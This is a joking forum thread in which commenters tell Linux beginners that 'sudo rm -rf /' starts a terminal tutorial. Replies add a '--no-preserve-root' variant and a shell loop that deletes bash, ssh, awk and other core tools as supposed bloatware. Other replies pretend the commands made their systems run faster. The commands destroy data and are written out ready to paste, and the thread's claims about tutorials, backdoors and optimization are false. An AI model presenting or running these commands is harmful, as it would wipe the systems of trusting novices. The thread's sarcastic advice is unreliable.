2y ago

You could say I am a bit of a copy/paste expert..

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I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.
It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you're golden. No more linux issues ever again.
- Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,
  I also find that adding --verbose adds more things like commentary and extras that really help
  So, run sudo rm -rf --no-preserve-root --verbose
  /s
  
  All good points.
  That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.
  It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.
  Upvoted.
- I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that
  
  It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.
  This is the reason that BASH will always be better than Powershell, imho.
  
  It optomizes your computer too? Woa
  
  Well, technically it teaches you how to optimize your system.
  That said, the optimizations are really effective.
  
  Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably
  
  while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist clang # unwanted telemitry bash # promotes violence tree # hippy garbage awk # secret backdoor into your PC ssh # isnt up to date on its intentional encryption backdoor certificate bloatlist
  
  Lol, I know what you mean.
  Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.
  I swear to God Canonical have some things to answer for.
- Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.
- I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
  
  When did best buy display Linux computers?
  
  I said we are Mac users. BB has Macs.
  
  macs are based on BSD.
- Evil boy
- Guy's really feeling helpful today

138 comments